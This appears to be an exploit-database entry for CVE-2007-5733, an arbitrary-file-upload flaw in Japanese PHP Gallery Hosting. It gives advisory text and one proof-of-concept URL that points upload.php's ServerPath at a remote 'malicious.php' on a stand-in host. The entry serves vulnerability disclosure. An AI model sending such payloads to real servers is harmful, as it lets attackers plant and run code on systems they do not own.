Japanese PHP Gallery Hosting - Arbitrary File Upload

Author: Pete Houston
type: webapps
platform: php
port: 0
date_added: 2007-10-23
date_updated: 2014-01-05
verified: 1
codes: CVE-2007-5733;OSVDB-39015
tags: 
aliases: 
screenshot_url: 
application_url: 

source: https://www.securityfocus.com/bid/26179/info

Japanese PHP Gallery Hosting is prone to an arbitrary-file-upload vulnerability because it fails to adequately sanitize user-supplied input.

An attacker can exploit this vulnerability to upload arbitrary code and execute it in the context of the webserver process. This may facilitate unauthorized access or privilege escalation; other attacks are also possible.

Versions of Japanese PHP Gallery Hosting released prior to 10/2007 are vulnerable.

http://www.example.com/upload/upload.php?ServerPath=http://www.example2.com/malicious.php.arbitraryextension
↑